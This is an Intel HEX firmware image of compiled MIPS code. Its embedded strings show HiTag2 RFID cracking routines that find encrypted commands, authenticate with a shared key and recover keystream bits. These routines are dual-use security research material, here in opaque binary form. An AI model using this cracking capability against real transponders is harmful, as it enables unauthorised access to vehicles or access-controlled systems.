:103b5000000000001000c28f0300401400000000ad
:103b6000010002241c00c2af1400c38f1000c28fda
:103b700021106200801002004c00c38f21106200ef
:103b80000000428c3000c2af260202243000c38ff6
:103b90002b1062001000401400000000ee0202240e
:103ba0003000c38f2b1043000b00401400000000b6
:103bb0002400c293010042242400c2a3059d023cbc
:103bc000bc3344243000c58f8513410f0000000032
:103bd0000f0f410b00000000960002243000c38f3d
:103be0002b1062000d004014000000009001022420
:103bf0003000c38f2b104300080040140000000069
:103c0000059d023cc83344243000c58f8513410f05
:103c1000000000000f0f410b000000001c00c0afaf
:103c2000059d023cd43344243000c58f8513410fd9
:103c300000000000200f410b000000002000c28f98
:103c4000010042242000c2af1000c28f01004224b4
:103c50001000c2af1400c38f1000c28f2118620081
:103c60005000c28f2b1062000500401000000000c1
:103c70002000c28f0800422c98ff40140000000072
:103c80002000c38f0800022410006214000000000e
:103c90001800c28f010043241800c3af2c00c38f4b
:103ca000211062002400c393000043a02400c293ab
:103cb000059d033ce4336424212840008513410f13
:103cc000000000009a0f410b000000009a0f410b0a
:103cd000000000001000c28f330040100000000000
:103ce0001400c38f1000c28f21186200ff3f023cf6
:103cf000ffff423421106200801002004c00c38f8d
:103d0000211062000000428c3000c2af2602022463
:103d10003000c38f2b1062000d0040140000000023
:103d2000ee0202243000c38f2b1043000800401421
:103d300000000000059d023cec3344243000c58f98
:103d40008513410f000000006a0f410b00000000c6
:103d5000960002243000c38f2b1062000d00401427
:103d600000000000900102243000c38f2b1043009c
:103d70000800401400000000059d023cfc33442470
:103d80003000c58f8513410f000000006a0f410b02
:103d900000000000059d023c0c3444243000c58f17
:103da0008513410f000000001400c38f1000c28f64
:103db00021106200801002004800c38f21106200b1
:103dc0000000428c3000c2af0f0002243000c38fcd
:103dd0002b1062000d00401400000000820002243d
:103de0003000c38f2b104300080040140000000077
:103df000059d023c1c3444243000c58f8513410fbf
:103e000000000000990f410b00000000c8000224d0
:103e10003000c38f2b1062000d0040140000000022
:103e2000580202243000c38f2b10430008004014b6
:103e300000000000059d023c2c3444243000c58f56
:103e40008513410f00000000990f410b0000000096
:103e5000059d023c403444243000c58f8513410f3a
:103e6000000000001c00c0af1000c28f01004224ff
:103e70001000c2af1000c38f1400c28f211862005f
:103e80005000c28f2b10620007004010000000009d
:103e900020000224ffff43241800c28f2b10430090
:103ea000edfe401400000000059d023c5034442407
:103eb000059d023c543445242013410f00000000ae
:103ec0001c00c28f07004010000000002c00c28fb1
:103ed000212040001800c58fc20f410f00000000d4
:103ee0001c00c2af1c00c28f21e8000221e8c00301
:103ef0004400bf8f4000be8f3c00b08f4800bd27fc
:103f00000800e00300000000e0ffbd271c00bfaf79
:103f10001800beaf21f0a0032000c4af2400c5af3d
:103f20001000c0af2400c28f0600422c29004014ac
:103f3000000000002000c28f00004390f000022427
:103f400024006214000000002000c28f02004224fe
:103f500000004290211840002400c28ffcff422440
:103f60001c006214000000002400c28fffff4224e6
:103f70002000c48f21284000fc0f410f00000000ea
:103f80001400c2a31400c293059d033c583464245a
:103f9000212840008513410f000000002400c28f3b
:103fa000ffff42242000c38f2110620000004290d6
:103fb0001400c393070062140000000001000224f3
:103fc0001000c2af2000c48f2400c58f1b10410f0a
:103fd000000000001000c28f21e8c0031c00bf8f4a
:103fe0001800be8f2000bd270800e003000000007d
:103ff000f0ffbd270c00beaf21f0a0031000c4af3e
:104000001400c5af0000c0a3010002240400c2af29
:104010001010410b000000001000c38f0400c28f7d
:1040200021106200000043900000c2932110620042
:104030000000c2a30400c28f010042240400c2afea
:104040000400c38f1400c28f2b106200f2ff4014d3
:10405000000000000000c29321e8c0030c00be8fe6
:104060001000bd270800e00300000000d0ffbd27be
:104070002c00bfaf2800beaf2400b0af21f0a003da
:104080003000c4af3400c5af2120a00321808000e0
:10409000200004241400c4af200004240100842460
:1040a000213080002138000042270600c058070058
:1040b00025588b00c05006002000042401008424f1
:1040c000211080002118000042270200c048030090
:1040d00025488900c040020020000224010042243b
:1040e00007004224c2100200c010020023e8a2030d
:1040f0001000a227000042241800c2af1000c0af79
:104100006310410b000000003000c38f1000c28f0d
:1041100021106200000042901c00c2a31c00c29348
:10412000059d033c88346424212840008513410ff9
:10413000000000001000c28f070043300700022477
:104140000600621400000000059d023c90344424e7
:10415000212800002013410f000000001c00c29322
:10416000212040007a10410f00000000211840007b
:104170001800c48f1000c28f21108200000043a0dd
:104180001000c28f010042241000c2af1000c38f84
:104190003400c28f2b106200dbff401400000000cf
:1041a0001800c38f1000c28f21106200000040a0d1
:1041b0001800c28f059d033c9434642421284000dc
:1041c0002013410f0000000021e8000221e8c00395
:1041d0002c00bf8f2800be8f2400b08f3000bd2779
:1041e0000800e00300000000f8ffbd270400beaf98
:1041f00021f0a003211080000800c2a30800c29390
:104200001a00422c07004010000000000800c29372
:1042100041004224ff0042302014027cb810410bc0
:10422000000000000800c2932000422c0b00401444
:10423000000000000800c2932a00422c0700401032
:10424000000000000800c29310004224ff0042302a
:104250002014027cb810410b000000000800c2933b
:10426000e6ff42240500432c1c0060100000000003
:1042700080180200049d023c8c42422421106200fe
:104280000000428c0800400000000000a042049d95
:10429000ac42049db842049dc442049dd042049d9a
:1042a00020000224b810410b000000002e00022460
:1042b000b810410b0000000027000224b810410b89
:1042c000000000002d000224b810410b0000000087
:1042d00021000224b810410b000000003f0002241e
:1042e00021e8c0030400be8f0800bd270800e003da
:1042f00000000000f8ffbd270400beaf21f0a003be
:10430000cc818293ff0042301f004230ff004330d7
:104310000100022403006210000000006b11410b39
:1043200000000000cc818293ff00423060004230e8
:10433000ff00433020000224030062100000000050
:104340006b11410b00000000d0818293ff004230ce
:104350000800401000000000d0818293ff0043302d
:104360000100022403006210000000006b11410be9
:1043700000000000cd818293ff0042302300432cd7
:10438000890060100000000080180200049d023cbb
:10439000a4434224211062000000428c0800400027
:1043a000000000003044049d8444049da845049d01
:1043b000a845049da845049da845049da845049dc5
:1043c000a845049da845049da845049da845049db5
:1043d000a845049da845049da845049da845049da5
:1043e000a845049da845049da845049da845049d95
:1043f000a845049da845049da845049da845049d85
:10440000a845049da845049da845049da845049d74
:10441000a845049da845049da845049da845049d64
:10442000a845049db044049d4845049d7c45049dd9
:1044300000a0023c94818327801c43ac00a0023c76
:10444000801c422408000324080043a400a0023c6e
:10445000801c432404006290010004240400827c38
:10446000040062a000a0023c801c4324040062906f
:1044700001000424c439827c040062a06b11410b4a
:104480000000000000a0023c94818327801c43ac04
:1044900000a0023c801c432404006290010004241c
:1044a000c439827c040062a06b11410b0000000043
:1044b000d2818293ff004230d3818393ff00633027
:1044c000001a030025106200ffff433000a0023ce9
:1044d000ff006530d01c4424050086900000c630e3
:1044e0002528c500050085a0021a0300ffff6330e0
:1044f000d01c42240600449000008430251883001c
:10450000060043a000a0023c88818327d01c4424dd
:10451000030083a8d01c43b800a0023cd01c422456
:104520000a0040a8070040b800a0023cd01c432469
:104530000400629001000424c439827c040062a05b
:104540006b11410b0000000000a0023c8881832712
:10455000801c43ac00a0023c801c422407000324c2
:10456000080043a400a0023c801c4224c1ff032495
:10457000040043a06b11410b00000000ce81829328
:10458000ff004230a88182a300a0023c801c43248b
:104590000400629001000424c439827c040062a0fb
:1045a0006b11410b000000000000000021e8c00377
:1045b0000400be8f0800bd270800e00300000000d3
:1045c000e8ffbd271400bfaf1000beaf21f0a0036d
:1045d000004b0224888182af8c8180a38d8180a3cf
:1045e000080002248e8182a3a48180a302000424f7
:1045f0001500052409a1400f000000000300042459
:104600001d00052409a1400f000000000300042440
:104610002128000000a0023c18184624400007246e
:1046200033a1400f00000000848182af748180af0d
:10463000a58180a321e8c0031400bf8f1000be8fa6
:104640001800bd270800e00300000000e8ffbd27b8
:104650001400bfaf1000beaf21f0a0031800c4af1c
:104660001c00c5af2110c0002000c2a71800c38fd6
:104670000500022417006214000000008481828f6c
:104680001c00c38f09006214000000000300042412
:104690002128000000a0023c1818462440000724ee
:1046a00033a1400f00000000848182af7481828fab
:1046b0001c00c38f0500621400000000a58180a3c8
:1046c000908180a3b811410b00000000b811410b8c
:1046d0000000000021100000b911410b0000000093
:1046e0000100022421e8c0031400bf8f1000be8f18
:1046f0001800bd270800e00300000000e8ffbd2708
:104700001400bfaf1000beaf21f0a0031800c4af6b
:104710002110a0001c00c2a3a48180a38481828fe9
:1047200009004010000000008481828f0000429048
:10473000ff00433080ff022424106200ff0042305b
:1047400038004014000000001c00c3938481828f55
:1047500002004490ff00843003004290ff0042308a
:10476000030042300012020025104400ffff4230d7
:104770002a1043000b004010000000008481828f4b
:1047800002004390ff00633003004290ff0042307c
:10479000030042300012020025104300ffff4230a8
:1047a0001c00c2a3a48180a3fc11410b00000000e7
:1047b000a48182931800c38f21106200a481839387
:1047c0002120600000a0033c1818632421188300f6
:1047d00000006390ff006330201c037c000043a0b6
:1047e000a481829301004224ff004230a48182a36d
:1047f000a48182931c00c3932b104300ecff401450
:1048000000000000030004242128000000a0023c56
:10481000181846244000072433a1400f0000000070
:10482000848182afa481829321e8c0031400bf8fea
:104830001000be8f1800bd270800e0030000000034
:10484000f8ffbd270400beaf21f0a0030800c4afed
:104850002110a0000c00c2a388bf023c0002033c50
:10486000741043aca581829309004014000000003d
:104870000800c28f7c8182af0c00c293908182a31a
:1048800001000224ac8182a301000224a58182a33d
:1048900088bf023c0002033c781043ac21e8c0030f
:1048a0000400be8f0800bd270800e00300000000e0
:1048b000f0ffbd270c00beaf21f0a0031000c4af75
:1048c00088bf023c0002033c741043aca581829374
:1048d000060040100000000088bf023c0002033cbc
:1048e000781043ac5812410b000000000000c0a338
:1048f0001000c28f0400c2af0000c2930100422426
:104900000000c2a30000c393ff000224030062144e
:10491000000000004d12410b000000000400c28f97
:10492000010043240400c3af00004280f2ff4014a2
:10493000000000001000c28f7c8182af0000c29393
:10494000908182a301000224ac8182a30100022491
:10495000a58182a388bf023c0002033c781043accf
:1049600021e8c0030c00be8f1000bd270800e00343
:1049700000000000f0ffbd270c00beaf21f0a00337
:104980001000c4af88bf023c0002033c741043ac6b
:10499000a5818293060040100000000088bf023c01
:1049a0000002033c781043ac8812410b0000000069
:1049b0000000c0a31000c28f0400c2af0000c29369
:1049c000010042240000c2a30000c393ff000224a0
:1049d00003006214000000007e12410b0000000082
:1049e0000400c28f010043240400c3af00004280d2
:1049f000f2ff4014000000001000c28f7c8182afe3
:104a00000000c293908182a3ac8180a301000224a4
:104a1000a58182a388bf023c0002033c781043ac0e
:104a200021e8c0030c00be8f1000bd270800e00382
:104a300000000000e0ffbd271c00bfaf1800beafa4
:104a400021f0a00388bf023c0002033c741043ac79
:104a50007481828f0e004010000000007481828fec
:104a600000004290ff00433080ff022424106200c7
:104a7000ff004230060040100000000088bf023cea
:104a80000002033c781043ac1a13410b00000000f5
:104a9000a581839303000224020062140000000039
:104aa000a58180a3a5818293060040140000000028
:104ab00088bf023c0002033c781043ac1a13410b40
:104ac00000000000a5818393020002240c00621400
:104ad0000000000003000424010005242130000030
:104ae0002138000033a1400f00000000748182af24
:104af00003000224a58182a31713410b00000000cc
:104b0000a581839301000224540062140000000078
:104b1000908182934100422c050040140000000067
:104b2000400002241000c2a3ce12410b000000007e
:104b3000908182931000c2a3908183931000c2934e
:104b400023106200ff004230908182a300a0023c4b
:104b500058184224808182af1000c2931100c2a372
:104b6000ac8182931500401400000000ea12410b52
:104b7000000000008081828f7c81838f0000639021
:104b8000000043a08081828f01004224808182af97
:104b90007c81828f010042247c8182af1100c2930c
:104ba000ffff42241100c2a31100c293f1ff401481
:104bb000000000000113410b00000000fe12410b39
:104bc000000000008081828f7c81838f00006390d1
:104bd000000043a08081828f01004224808182af47
:104be0007c81828f010042247c8182af1100c293bc
:104bf000ffff42241100c2a31100c293f1ff401431
:104c000000000000908182930b004014000000001f
:104c10001000c3934000022405006214000000004d
:104c200002000224a58182a30e13410b00000000a4
:104c300003000224a58182a31000c2930300042470
:104c40000100052400a0033c5818662421384000c8
:104c500033a1400f00000000748182af88bf023c86
:104c60000002033c781043ac21e8c0031c00bf8f56
:104c70001800be8f2000bd270800e00300000000e0
:104c8000e8febd271401bfaf1001beaf21f0a003a5
:104c90001801c4af1c01c5af1000c227212040007d
:104ca000000105241801c68f1c01c78f4d57410f05
:104cb00000000000d9808393010002240a006214de
:104cc000000000001000c22721204000a34a410f2d
:104cd000000000001000c3272120600021284000b0
:104ce0003e14410f00000000d9808393020002248b
:104cf0000a006214000000001000c22721204000ba
:104d0000a34a410f000000001000c32721206000cb
:104d100021284000c013410f0000000021e8c0031b
:104d20001401bf8f1001be8f1801bd270800e003da
:104d300000000000e8ffbd271400bfaf1000beafa9
:104d400021f0a0031800c4af1c00c5afd980839325
:104d50000100022405006214000000001800c48f46
:104d60001c00c58f3e14410f00000000d9808393c2
:104d70000200022405006214000000001800c48f25
:104d80001c00c58fc013410f0000000021e8c003c4
:104d90001400bf8f1000be8f1800bd270800e0036d
:104da00000000000e8ffbd271400bfaf1000beaf39
:104db00021f0a003211080001800c2a3d9808393a2
:104dc0000100022405006214000000001800c4273e
:104dd000010005243e14410f00000000d980839398
:104de0000200022405006214000000001800c4271d
:104df00001000524c013410f0000000021e8c0039a
:104e00001400bf8f1000be8f1800bd270800e003fc
:104e100000000000e8febd271401bfaf1001beafc7
:104e200021f0a0031801c4af1c01c5af1000c227b8
:104e3000212040001801c58f1c01c68fc654410fa8
:104e400000000000d980839301000224070062144f
:104e500000000000059d023c205744241000c2279a
:104e6000212840002013410f0000000021e8c0036a
:104e70001401bf8f1001be8f1801bd270800e00389
:104e800000000000e8ffbd271400bfaf1000beaf58
:104e900021f0a0031800c4af2110a0001c00c2a381
:104ea000d9808393010002240e00621400000000e8
:104eb000a581829308004014000000001c00c293ea
:104ec0001800c48f21284000bf11410f00000000ce
:104ed000ba13410b0000000021100000ba13410b6f
:104ee000000000002110000021e8c0031400bf8f63
:104ef0001000be8f1800bd270800e003000000006e
:104f0000e8ffbd271400bfaf1000beaf21f0a00323
:104f10001800c4af1c00c5afd013410b0000000047
:104f20001800c28f010043241800c3af0000429054
:104f30002014027c21204000ad37410f000000000a
:104f40001c00c28fffff43241c00c3aff4ff4014ba
:104f50000000000021e8c0031400bf8f1000be8fc6
:104f60001800bd270800e00300000000d8ffbd279f
:104f70002400bfaf2000beaf1c00b0af21f0a003e3
:104f80002800c4af2c00c5af1000c0a32800c28ffa
:104f9000000040a001000424ff0d410f00000000ac
:104fa000f613410b0000000021200000ff0d410f0f
:104fb000000000001400c2af1400c38f2c00c28f89
:104fc0002b104300040040100000000021100000de
:104fd0003714410b000000008337410f0000000030
:104fe000f1ff40100000000001000424ff0d410ffc
:104ff000000000002414410b0000000021200000ec
:10500000ff0d410f000000001400c2af1400c38f59
:105010002c00c28f2b104300030040100000000042
:105020002814410b000000008337410f00000000ee
:1050300010004010000000001000c2932800c38f31
:10504000218062004637410f00000000ff0042301f
:10505000000002a21000c2932800c38f211062003a
:105060000000429007004014000000001f14410b94
:10507000000000002414410b000000002814410b24
:10508000000000001000c293010042241000c2a3df
:105090001000c393ff000224d8ff62140000000038
:1050a0001000c2932800c38f21106200000040a0ae
:1050b0003014410b000000004637410f0000000093
:1050c0008337410f00000000fbff40140000000088
:1050d0002800c48fa34a410f0000000021e8c0034c
:1050e0002400bf8f2000be8f1c00b08f2800bd277a
:1050f0000800e00300000000e0ffbd271c00bfaf78
:105100001800beaf21f0a0032000c4af2400c5af3b
:10511000a581829303004010000000006c14410b35
:10512000000000006914410b000000002400c28f41
:105130000001422c05004010000000002400c28f36
:105140001000c2a35514410b00000000ffff022411
:105150001000c2a31000c2932000c48f2128400079
:105160001012410f000000001000c2932000c38ff6
:10517000211062002000c2af1000c2932400c38f30
:10518000231062002400c2af6614410b000000002f
:105190008d12410f00000000a5818293fcff401496
:1051a000000000002400c28fe0ff40140000000057
:1051b00021e8c0031c00bf8f1800be8f2000bd2750
:1051c0000800e00300000000e0ffbd271c00bfafa7
:1051d0001800beaf21f0a0032000c4af059d023c23
:1051e000245744242000c58f2013410f00000000e5
:1051f0001000c2272120400001000524a113410f07
:10520000000000000d00401000000000059d023c61
:1052100020574424059d023c645745242013410f28
:10522000000000001000c2930d0042380100422c23
:10523000ff0042309114410b000000007c14410b30
:105240000000000021e8c0031c00bf8f1800be8fc3
:105250002000bd270800e00300000000f8ffbd2784
:105260000400beaf21f0a003f080828f0300401441
:1052700000000000ffff0234f08082aff080828fd8
:10528000ffff4224f08082af88bf023c8050428cf6
:10529000020042301f00401000000000f080828faa
:1052a000910040140000000088bf023c2061428c45
:1052b000080042300100422cff00443088bf033c0c
:1052c00020616294c418827c206162a488bf023c81
:1052d0002061428c080042300700401000000000ae
:1052e00088bf033c206162948410027c206162a428
:1052f0003a15410b0000000088bf033c2061629416
:10530000010004248410827c206162a43a15410bc0
:1053100000000000f881828f0d00401400000000a2
:1053200088bf033c2061629401000424c418827c7d
:10533000206162a488bf033c2061629401000424c0
:105340008410827c206162a43a15410b00000000a9
:10535000f881838f010002240b006214000000001a
:1053600088bf033c20616294c418027c206162a45f
:1053700088bf033c206162948410027c206162a497
:105380003a15410b00000000f881838f02000224cf
:105390000c0062140000000088bf033c206162948e
:1053a000c418027c206162a488bf033c206162941f
:1053b000010004248410827c206162a43a15410b10
:1053c00000000000f881838f040002240c006214a6
:1053d0000000000088bf033c2061629401000424a7
:1053e000c418827c206162a488bf033c206162945f
:1053f0008410027c206162a43a15410b0000000079
:10540000f881838f10000224140062140000000051
:10541000f080828f340040140000000088bf023cfe
:105420002061428c080042300100422cff004430d1
:1054300088bf033c20616294c418827c206162a40e
:1054400088bf033c20616294010004248410827ca4
:10545000206162a43a15410b00000000f881838f9f
:10546000200002242000621400000000f080828fdf
:105470001d0040140000000088bf023c2061428ce7
:10548000080042300100422cff00443088bf033c3a
:1054900020616294c418827c206162a488bf023caf
:1054a0002061428cc000427cff0042302118400045
:1054b000d8808293080062100000000088bf033c7f
:1054c00020616294010004248410827c206162a423
:1054d0003a15410b0000000088bf033c2061629434
:1054e0008410027c206162a4d9808393020002248c
:1054f000050062140000000088bf033c2061629434
:105500008410027c206162a421e8c0030400be8fe5
:105510000800bd270800e00300000000e8ffbd27e9
:105520001400bfaf1000beaf21f0a00300a0023cea
:105530005c56442440000524a113410f00000000e4
:105540000400401000000000010002245615410b29
:10555000000000002110000021e8c0031400bf8fec
:105560001000be8f1800bd270800e00300000000f7
:10557000e8ffbd271400bfaf1000beaf21f0a003ad
:10558000d88082930900401400000000059d023c71
:1055900020574424059d023c685745242013410fa1
:1055a000000000007115410b00000000059d023c49
:1055b00020574424059d023c645745242013410f85
:1055c0000000000021e8c0031400bf8f1000be8f50
:0c55d0001800bd270800e00300000000e8
:020000040000fa
:020000041d04d9
:1055dc000d0a000043616e6e6f7420676574205570
:1055ec0049440d0a00000000506c6561736520731e
:1055fc007570706c7920612076616c6964206e52d4
:10560c0020615220706169720d0a00006e5220698f
:10561c0073206e6f742033322062697473206c6f48
:10562c006e670d0a000000006152206973206e6fd6
:10563c00742033322062697473206c6f6e670d0aac
:10564c000000000043616e6e6f742066696e64200a
:10565c00612076616c696420656e63727970746523
:10566c006420636f6d6d616e640d0a0043616e6e34
:10567c006f742066696e6420656e637279707465f0
:10568c006420277265616420706167653027206330
:10569c006f6d6d616e640d0a000000002531643a77
:1056ac002025730d0a0000002531643a0d0a000014
:1056bc0046696e64696e672076616c696420656efc
:1056cc006372797074656420636f6d6d616e643a9a
:1056dc0000000000463430323838394300000000f6
:1056ec00686974616732637261636b5f66696e646b
:1056fc005f76616c69645f655f636d643a0d0a2067
:10570c00686974616732637261636b5f73656e6441
:10571c005f655f636d64206661696c65640d0a008a
:10572c002e000000686974616732637261636b5f9d
:10573c0066696e645f76616c69645f655f636d64f6
:10574c003a0d0a206e6f2076616c696420656e6379
:10575c0072797074656420636f6d6d616e64206620
:10576c006f756e640d0a000046696e64696e672081
:10577c002772656164207061676520302720636f34
:10578c006d6d616e643a00006869746167326372b2
:10579c0061636b5f66696e645f655f7061676530de
:1057ac005f636d643a0d0a206869746167326372d5
:1057bc0061636b5f73656e645f655f636d642072bc
:1057cc00657475726e6564204552524f525f524536
:1057dc0053504f4e53450d0a000000006869746128
:1057ec006732637261636b5f66696e645f655f707d
:1057fc00616765305f636d643a0d0a206869746196
:10580c006732637261636b5f73656e645f655f6360
:10581c006d64206661696c65640d0a006869746169
:10582c006732637261636b5f66696e645f655f703c
:10583c00616765305f636d643a0d0a20636f756c48
:10584c0064206e6f742066696e6420656e63727975
:10585c0070746564202772656164207061676520cf
:10586c00302720636f6d6d616e640d0a00000000bf
:10587c003131303030303031313100006869746191
:10588c006732637261636b5f746573745f655f70bd
:10589c0030636d643a0d0a20686974616732637213
:1058ac0061636b5f73656e645f655f636d642066d7
:1058bc0061696c65640d0a006869746167326372b2
:1058cc0061636b5f726561645f706167653a0d0a55
:1058dc0020696e76616c696420706167656e756da8
:1058ec000d0a0000686974616732637261636b5ff3
:1058fc00726561645f706167653a0d0a206869744e
:10590c00616732637261636b5f73656e645f655f61
:10591c00636d642072657475726e656420455252b5
:10592c004f525f524553504f4e53450d0a000000e5
:10593c00686974616732637261636b5f726561641d
:10594c005f706167653a0d0a20686974616732633c
:10595c007261636b5f73656e645f655f636d64201a
:10596c006661696c65640d0a000000006869746109
:10597c006732637261636b5f73656e645f655f63ef
:10598c006d643a0d0a2063616e6e6f7420676574e6
:10599c00205549440d0a00006869746167326372ce
:1059ac0061636b5f73656e645f655f636d643a0d15
:1059bc000a2063616e6e6f742067657420554944cc
:1059cc002028326e642074696d65290d0a00000070
:1059dc00686974616732637261636b5f73656e646f
:1059ec005f655f636d643a0d0a2074782f727820be
:1059fc006e726172206661696c65640d0a0000004c
:105a0c00686974616732637261636b5f73656e643e
:105a1c005f655f636d643a0d0a2074782f7278208d
:105a2c00636d64206661696c65640d0a000000009a
:105a3c00686974616732637261636b5f74785f72fb
:105a4c00783a207277645f73656e64206661696c66
:105a5c0065640d0a00000000686974616732637246
:105a6c0061636b5f74785f72783a206e6f20737924
:105a7c006e630d0a0000000068697461673263721e
:105a8c0061636b5f74785f72783a2077726f6e67c0
:105a9c00207278206c656e0d0a0000002f722f6e3c
:105aac00666f726d6174206973202773686172650b
:105abc00646b657920554944206e522720696e200d
:105acc006865780d0a0000002f722f6e7368617282
:105adc0065646b65792073686f756c6420626520f2
:105aec0034382062697473206c6f6e6720283132f1
:105afc00206865786368617273290d0a00000000e4
:105b0c002f722f6e6e6f205549440d0a0000000055
:105b1c002f722f6e5549442073686f756c64206228
:105b2c00652033322062697473206c6f6e67202895
:105b3c0038206865786368617273290d0a0000006b
:105b4c002f722f6e6e522073686f756c64206265b5
:105b5c002033322062697473206c6f6e6720283892
:105b6c00206865786368617273290d0a0000000073
:105b7c00537563636573730d0a0000002f722f6eeb
:105b8c00686578206d7573742062652033326269a4
:105b9c0074732028382068657820636861727329d3
:105bac000d0a00000d0a62696e61727920737472bd
:105bbc00696e67206d757374206265203c3d2033df
:105bcc003220626974730d0a000000006869746108
:105bdc006732637261636b5f73656e645f6175746a
:105bec0068206661696c65640d0a000068697461ff
:105bfc006732637261636b5f636f6e73756d655f44
:105c0c006b657973747265616d206661696c65642e
:105c1c000d0a0000686974616732637261636b5fbf
:105c2c00657874656e645f6b657973747265616dac
:105c3c00206661696c65640d0a0000005265636f33
:105c4c0076657265642025642062697473206f66c2
:105c5c00206b657973747265616d0d0a000000002c
:105c6c0025730d0a00000000686974616732637265
:105c7c0061636b5f73656e645f617574683a0d0a7e
:105c8c002063616e6e6f7420676574205549440df6
:105c9c000a000000686974616732637261636b5f4c
:105cac0073656e645f617574683a0d0a2063616e8a
:105cbc006e6f7420676574205549442028326e64d9
:105ccc002074696d65290d0a000000006869746113
:105cdc006732637261636b5f73656e645f61757469
:105cec00683a0d0a2074782f7278206e72617220d7
:105cfc006661696c65640d0a000000006869746176
:105d0c006732637261636b5f636f6e73756d655f32
:105d1c006b657973747265616d3a0d0a20636f6ef1
:105d2c006c656e203c2031300d0a0000686974618e
:105d3c006732637261636b5f636f6e73756d655f02
:105d4c006b657973747265616d3a0d0a2074782fe6
:105d5c00727820636d64206661696c65640d0a005d
:105d6c00686974616732637261636b5f636f6e73d2
:105d7c00756d655f6b657973747265616d3a0d0a4b
:105d8c0020676f74206572726f7220726573706f0a
:105d9c006e73652066726f6d20636172640d0a000c
:105dac00686974616732637261636b5f657874658f
:105dbc006e645f6b657973747265616d3a0d0a2060
:105dcc00636d646c656e203c2031300d0a00000060
:105ddc00686974616732637261636b5f657874655f
:105dec006e645f6b657973747265616d3a0d0a2030
:105dfc0074782f727820636d64206661696c6564b9
:105e0c000d0a0000686974616732637261636b5fcd
:105e1c00657874656e645f6b657973747265616dba
:105e2c003a0d0a20676f74206572726f722072656a
:105e3c0073706f6e73652066726f6d206361726430
:105e4c000d0a00005858585858585858000000006f
:105e5c0025643a2000000000257300006869746115
:105e6c0067325f66696e645f7461673a20636f7551
:105e7c006e7420697320696e76616c69640d0a001a
:105e8c00496e76616c6964204e564d20636f756e59
:105e9c007465720d0a00000025642074616773201c
:105eac0073746f7265640d0a000000004e6f204819
:105ebc00695461673220746167732073746f726503
:105ecc00640d0a00496e76616c6964207461672008
:105edc0073656c656374696f6e0d0a00546167209d
:0c5eec006e756d6265722025640d0a0061
:020000040000fa
:020000041d04d9
:105ef800e8ffbd271400bfaf1000beaf21f0a0031c
:105f08001800c4af1c00c5af2000c6af2400c7af3f
:105f180000a0023cdc564224870042902118400031
:105f2800130002241600621400000000010002247d
:105f38002400c2af1800c28f030040140000000004
:105f4800320002241800c2af1c00c28f03004014a4
:105f580000000000050002241c00c2af2000c28f10
:105f68000500401400000000e80302242000c2af2e
:105f7800ea17410b00000000ea17410b000000007f
:105f88001800c28f05004014000000000c00022415
:105f98001800c2afe917410b000000000000000024
:105fa8001800c48f1c00c58f2000c68f2400c78f1f
:105fb800f617410f0000000021e8c0031400bf8f4e
:105fc8001000be8f1800bd270800e0030000000085
:105fd800c8efbd273410bfaf3010beaf2c10b0af24
:105fe80021f0a0033810c4af3c10c5af4010c6afb5
:105ff8004410c7af1400c0af1c00c0afe00c410f85
:106008000000000088bf033c606062940421027ca9
:10601800606062a488bf033c20616294010004248c
:10602800444a827c206162a488bf033ca0616294d8
:10603800444a027ca06162a488bf023cd060428cc2
:106048000003427cff0042301000c2af4410c28ff0
:10605800210040140000000088bf023cd060428c40
:106068000003427cff0042301000c2af3418410bdd
:10607800000000002518410b000000004715410fe3
:1060880000000000a00040140000000088bf023c8f
:10609800d060428c0003427cff004230211840004f
:1060a8001000c28ff5ff6210000000001800c28fb8
:1060b800010042241800c2af1000c28f0100422c18
:1060c800ff0042301000c2af1800c28f6400422c9b
:1060d800e8ff4014000000002000c0af01000424c5
:1060e800ff0d410f00000000b718410b0000000031
:1060f8002400c0af7918410b000000004715410f7c
:10610800000000001400c2af1400c28f030040104a
:10611800000000008118410b000000001c00c28f25
:106128002e004010000000004010c28f2b004010cd
:10613800000000002400c28f010043242400c3afe4
:106148000700423025004014000000002120000014
:10615800ff0d410f000000001800c2af1800c38fe8
:106168004010c28f2b1062001c0040140000000079
:106178002000c28f801002001000c3272110620087
:106188001c00c38f180843ac2000d08f01000226e2
:106198002000c2af01000424ff0d410f00000000e1
:1061a80021184000801010001000c4272110820020
:1061b800180043ac1c00c0af2808c3272800c2271a
:1061c80021206000212840002000c68fcb18410ff5
:1061d800000000002000c0af0000000088bf023ca3
:1061e800d060428c0003427cff00423021184000fe
:1061f8001000c28fc1ff6210000000001000c28fa3
:106208000100422cff0042301000c2af01000424fc
:10621800ff0d410f000000001800c2af1800c38f27
:106228003810c28f2b1043001a00401000000000e5
:106238004410c28f06004010000000001c00c38fed
:106248003c10c28f2b1043001600401000000000c5
:106258002000c28f801002001000c32721106200a6
:106268001c00c38f180843ac2000c28f01004324d0
:106278002000c3af801002001000c3272110620065
:106288001800c38f180043ac1c00c0afab18410bfb
:10629800000000001c00c38f1800c28f211062008c
:1062a8001c00c2af2000c38f000202240900621440
:1062b800000000002808c3272800c227212060000a
:1062c800212840002000c68fcb18410f0000000095
:1062d8002000c0af1400c28f85ff401000000000ee
:1062e8002000c28f08004010000000002808c327c3
:1062f8002800c22721206000212840002000c68fe6
:10630800cb18410f0000000021e8c0033410bf8ff4
:106318003010be8f2c10b08f3810bd270800e00356
:1063280000000000e0ffbd271c00bfaf1800beaf93
:1063380021f0a0032000c4af2400c5af2800c6afd9
:1063480000a0023cdc56422487004290f9ff422418
:106358000d00432c3100601000000000801802007e
:10636800049d023c80634224211062000000428c9c
:106378000800400000000000b463049dd063049d41
:106388002464049dec63049d2464049d2464049d9a
:106398002464049d2464049d2464049dec63049d8a
:1063a8002464049d2464049d0864049d2000c48f13
:1063b8002400c58f2800c68fdfac400f0000000006
:1063c8002919410b000000002000c48f2400c58f4c
:1063d8002800c68f6db3400f000000002919410b3b
:1063e800000000002000c48f2400c58f2800c68f3d
:1063f80015d3400f000000002919410b00000000d0
:106408002000c48f2400c58f2800c68f540e410f6a
:10641800000000002919410b000000001000c0af67
:106428002319410b000000001000c28f80100200e9
:106438002000c38f211062000000428c059d033ca0
:10644800ec5d6424212840008513410f0000000002
:106458001000c28f801002002400c38f2110620038
:106468000000428c059d033cfc5d6424212840000b
:106478008513410f000000001000c28f0100422464
:106488001000c2af1000c38f2800c28f2b1062000b
:10649800e5ff40140000000000000000059d023cdc
:1064a800045e4424059d023c085e45242013410fe8
:1064b8000000000021e8c0031c00bf8f1800be8f39
:1064c8002000bd270800e00300000000d8ffbd271a
:1064d8002400bfaf2000beaf21f0a0032800c4af46
:1064e8002c00c5af3000c6af3400c7af1c00c0af2a
